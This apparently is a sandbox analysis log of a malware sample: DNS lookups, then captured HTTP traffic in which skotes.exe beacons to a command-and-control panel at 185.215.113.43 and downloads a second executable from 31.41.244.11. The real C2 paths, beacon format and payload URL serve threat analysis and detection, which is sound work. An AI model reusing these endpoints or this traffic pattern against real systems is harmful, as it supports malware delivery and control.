Dec 16, 2024 13:19:38.709042072 CET	1.1.1.1	192.168.2.8	0x5293	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:19:40.719371080 CET	1.1.1.1	192.168.2.8	0x5293	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:19:40.719371080 CET	1.1.1.1	192.168.2.8	0x5293	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:19:44.736263037 CET	1.1.1.1	192.168.2.8	0x5293	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:19:44.736263037 CET	1.1.1.1	192.168.2.8	0x5293	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:23.128403902 CET	1.1.1.1	192.168.2.8	0x1883	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 16, 2024 13:20:23.134516954 CET	1.1.1.1	192.168.2.8	0x5f4	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:23.134516954 CET	1.1.1.1	192.168.2.8	0x5f4	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:23.511795044 CET	1.1.1.1	192.168.2.8	0x7977	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:23.651537895 CET	1.1.1.1	192.168.2.8	0x9dca	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:24.146600008 CET	1.1.1.1	192.168.2.8	0x193c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:20:24.263329029 CET	1.1.1.1	192.168.2.8	0x8802	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:20:25.018474102 CET	1.1.1.1	192.168.2.8	0xc28e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:20:25.018474102 CET	1.1.1.1	192.168.2.8	0xc28e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:33.431225061 CET	1.1.1.1	192.168.2.8	0x6d3b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 16, 2024 13:20:33.431286097 CET	1.1.1.1	192.168.2.8	0x5cb5	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:33.431286097 CET	1.1.1.1	192.168.2.8	0x5cb5	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:34.371367931 CET	1.1.1.1	192.168.2.8	0x364b	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:20:34.376425028 CET	1.1.1.1	192.168.2.8	0xb80c	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:20:42.704263926 CET	1.1.1.1	192.168.2.8	0x22ff	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:20:44.088047981 CET	1.1.1.1	192.168.2.8	0x7349	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:20:44.088047981 CET	1.1.1.1	192.168.2.8	0x7349	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:23.913470984 CET	1.1.1.1	192.168.2.8	0x804f	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:23.913470984 CET	1.1.1.1	192.168.2.8	0x804f	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:24.211982012 CET	1.1.1.1	192.168.2.8	0x804f	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:24.211982012 CET	1.1.1.1	192.168.2.8	0x804f	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:25.219134092 CET	1.1.1.1	192.168.2.8	0x804f	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:25.219134092 CET	1.1.1.1	192.168.2.8	0x804f	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:27.220186949 CET	1.1.1.1	192.168.2.8	0x804f	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:27.220186949 CET	1.1.1.1	192.168.2.8	0x804f	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:31.224761009 CET	1.1.1.1	192.168.2.8	0x804f	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:31.224761009 CET	1.1.1.1	192.168.2.8	0x804f	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:32.081119061 CET	1.1.1.1	192.168.2.8	0xba27	No error (0)	twentygr20sb.top		141.8.192.141	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:33.416613102 CET	1.1.1.1	192.168.2.8	0xa713	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:21:33.418366909 CET	1.1.1.1	192.168.2.8	0xb53f	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:21:35.236459017 CET	1.1.1.1	192.168.2.8	0xcb3c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:21:35.236459017 CET	1.1.1.1	192.168.2.8	0xcb3c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:35.240670919 CET	1.1.1.1	192.168.2.8	0x9a51	No error (0)	home.twentygr20sb.top		141.8.192.141	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:36.936510086 CET	1.1.1.1	192.168.2.8	0x1518	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:36.936510086 CET	1.1.1.1	192.168.2.8	0x1518	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:36.937145948 CET	1.1.1.1	192.168.2.8	0x24f5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 16, 2024 13:21:36.940263033 CET	1.1.1.1	192.168.2.8	0xabca	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:36.940263033 CET	1.1.1.1	192.168.2.8	0xabca	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:36.940534115 CET	1.1.1.1	192.168.2.8	0x96d	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 16, 2024 13:21:36.940578938 CET	1.1.1.1	192.168.2.8	0xbd20	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:36.940578938 CET	1.1.1.1	192.168.2.8	0xbd20	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:21:36.941170931 CET	1.1.1.1	192.168.2.8	0x1fa6	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Dec 16, 2024 13:22:03.199908018 CET	1.1.1.1	192.168.2.8	0x65cd	No error (0)	749858cm.renyash.ru		172.67.220.198	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:22:03.199908018 CET	1.1.1.1	192.168.2.8	0x65cd	No error (0)	749858cm.renyash.ru		104.21.38.84	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:22:40.514600039 CET	1.1.1.1	192.168.2.8	0x7a09	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:22:40.514600039 CET	1.1.1.1	192.168.2.8	0x7a09	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:22:40.607733011 CET	1.1.1.1	192.168.2.8	0xda	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:22:41.752023935 CET	1.1.1.1	192.168.2.8	0x572c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:22:41.752023935 CET	1.1.1.1	192.168.2.8	0x572c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:22:45.543479919 CET	1.1.1.1	192.168.2.8	0xbee8	No error (0)	tacitglibbr.biz		104.21.50.161	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:22:45.543479919 CET	1.1.1.1	192.168.2.8	0xbee8	No error (0)	tacitglibbr.biz		172.67.164.37	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:14.065427065 CET	1.1.1.1	192.168.2.8	0x8572	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:14.065427065 CET	1.1.1.1	192.168.2.8	0x8572	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.360980034 CET	1.1.1.1	192.168.2.8	0x7a56	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.484097958 CET	1.1.1.1	192.168.2.8	0xbbf	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.600126982 CET	1.1.1.1	192.168.2.8	0x7161	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:23:17.600126982 CET	1.1.1.1	192.168.2.8	0x7161	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.640019894 CET	1.1.1.1	192.168.2.8	0x77aa	No error (0)	youtube.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.768440962 CET	1.1.1.1	192.168.2.8	0x6a4	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:23:17.768440962 CET	1.1.1.1	192.168.2.8	0x6a4	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:23:17.768440962 CET	1.1.1.1	192.168.2.8	0x6a4	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.770760059 CET	1.1.1.1	192.168.2.8	0x66b5	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.770772934 CET	1.1.1.1	192.168.2.8	0xb49a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:23:17.770772934 CET	1.1.1.1	192.168.2.8	0xb49a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.796813011 CET	1.1.1.1	192.168.2.8	0x11d	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 16, 2024 13:23:17.841793060 CET	1.1.1.1	192.168.2.8	0xe1bf	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:23:17.893882036 CET	1.1.1.1	192.168.2.8	0xb975	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.945883036 CET	1.1.1.1	192.168.2.8	0xc561	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:17.950568914 CET	1.1.1.1	192.168.2.8	0xf7ab	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:18.081454992 CET	1.1.1.1	192.168.2.8	0x8572	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:18.081454992 CET	1.1.1.1	192.168.2.8	0x8572	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:18.672668934 CET	1.1.1.1	192.168.2.8	0xabbf	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:18.954714060 CET	1.1.1.1	192.168.2.8	0x236c	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:23:18.954714060 CET	1.1.1.1	192.168.2.8	0x236c	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.035218954 CET	1.1.1.1	192.168.2.8	0x188c	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983391047 CET	1.1.1.1	192.168.2.8	0x315	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983391047 CET	1.1.1.1	192.168.2.8	0x315	No error (0)	star-mini.c10r.facebook.com		157.240.195.35	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	youtube-ui.l.google.com		172.217.19.14	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	youtube-ui.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.983416080 CET	1.1.1.1	192.168.2.8	0xfef4	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:20.984360933 CET	1.1.1.1	192.168.2.8	0x9c6b	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:23:20.984360933 CET	1.1.1.1	192.168.2.8	0x9c6b	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.123059988 CET	1.1.1.1	192.168.2.8	0x18f8	No error (0)	youtube-ui.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.123059988 CET	1.1.1.1	192.168.2.8	0x18f8	No error (0)	youtube-ui.l.google.com		172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.123059988 CET	1.1.1.1	192.168.2.8	0x18f8	No error (0)	youtube-ui.l.google.com		142.250.181.110	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.123059988 CET	1.1.1.1	192.168.2.8	0x18f8	No error (0)	youtube-ui.l.google.com		172.217.21.46	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.123059988 CET	1.1.1.1	192.168.2.8	0x18f8	No error (0)	youtube-ui.l.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.123059988 CET	1.1.1.1	192.168.2.8	0x18f8	No error (0)	youtube-ui.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.123059988 CET	1.1.1.1	192.168.2.8	0x18f8	No error (0)	youtube-ui.l.google.com		142.250.181.78	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.123059988 CET	1.1.1.1	192.168.2.8	0x18f8	No error (0)	youtube-ui.l.google.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.123059988 CET	1.1.1.1	192.168.2.8	0x18f8	No error (0)	youtube-ui.l.google.com		142.250.181.14	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.123166084 CET	1.1.1.1	192.168.2.8	0xc457	No error (0)	star-mini.c10r.facebook.com		157.240.196.35	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.123581886 CET	1.1.1.1	192.168.2.8	0xa148	No error (0)	dyna.wikimedia.org		185.15.58.224	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.261740923 CET	1.1.1.1	192.168.2.8	0xae07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:23:21.261740923 CET	1.1.1.1	192.168.2.8	0xae07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:23:21.261740923 CET	1.1.1.1	192.168.2.8	0xae07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:23:21.261740923 CET	1.1.1.1	192.168.2.8	0xae07	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Dec 16, 2024 13:23:21.262008905 CET	1.1.1.1	192.168.2.8	0xe39c	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Dec 16, 2024 13:23:21.263010979 CET	1.1.1.1	192.168.2.8	0x180a	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Dec 16, 2024 13:23:21.402302027 CET	1.1.1.1	192.168.2.8	0xd7a3	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:23:21.402302027 CET	1.1.1.1	192.168.2.8	0xd7a3	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.402302027 CET	1.1.1.1	192.168.2.8	0xd7a3	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.402302027 CET	1.1.1.1	192.168.2.8	0xd7a3	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.402302027 CET	1.1.1.1	192.168.2.8	0xd7a3	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.602673054 CET	1.1.1.1	192.168.2.8	0x1faf	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.602673054 CET	1.1.1.1	192.168.2.8	0x1faf	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.602673054 CET	1.1.1.1	192.168.2.8	0x1faf	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:21.602673054 CET	1.1.1.1	192.168.2.8	0x1faf	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Dec 16, 2024 13:23:35.930197001 CET	1.1.1.1	192.168.2.8	0xf253	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 16, 2024 13:23:35.930295944 CET	1.1.1.1	192.168.2.8	0xb27a	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49709	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:06.200670958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 16, 2024 13:16:07.529460907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:09.166199923 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Dec 16, 2024 13:16:10.524090052 CET	1066	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 36 62 0d 0a 20 3c 63 3e 31 30 31 36 30 37 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 37 63 37 31 31 31 65 65 62 30 30 62 31 31 61 31 30 30 33 35 38 38 64 66 32 63 65 33 65 65 32 62 66 39 61 35 35 33 36 65 36 23 31 30 31 36 30 39 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 33 39 33 35 37 34 64 66 31 34 31 65 35 34 32 34 30 34 33 35 38 64 36 64 39 66 63 31 64 23 31 30 31 36 30 39 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 36 30 39 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 [TRUNCATED] Data Ascii: 36b <c>1016072001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c27c7111eeb00b11a1003588df2ce3ee2bf9a5536e6#1016092001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7393574df141e542404358d6d9fc1d#1016093001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1016094001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1016095001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1016096001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1016097001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1016098001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1016099001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49711	31.41.244.11	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:16:10.666312933 CET	66	OUT	GET /files/7850253564/muNJF0r.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 13:16:11.990325928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:16:11 GMT Content-Type: application/octet-stream Content-Length: 2283768 Last-Modified: Mon, 16 Dec 2024 11:00:52 GMT Connection: keep-alive ETag: "67600864-22d8f8" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 78 5f 63 ed 3c 3e 0d be 3c 3e 0d be 3c 3e 0d be 88 a2 fc be 31 3e 0d be 88 a2 fe be b2 3e 0d be 88 a2 ff be 24 3e 0d be 9d 49 f0 be 3e 3e 0d be 9d 49 09 bf 2f 3e 0d be 9d 49 0e bf 2b 3e 0d be 9d 49 08 bf 08 3e 0d be 35 46 8e be 37 3e 0d be 35 46 9e be 3b 3e 0d be 3c 3e 0c be 29 3f 0d be c9 49 08 bf 0d 3e 0d be c9 49 0d bf 3d 3e 0d be c9 49 f2 be 3d 3e 0d be c9 49 0f bf 3d 3e 0d be 52 69 63 68 3c 3e 0d be 00 00 00 00 00 00 00 00 50 45 00 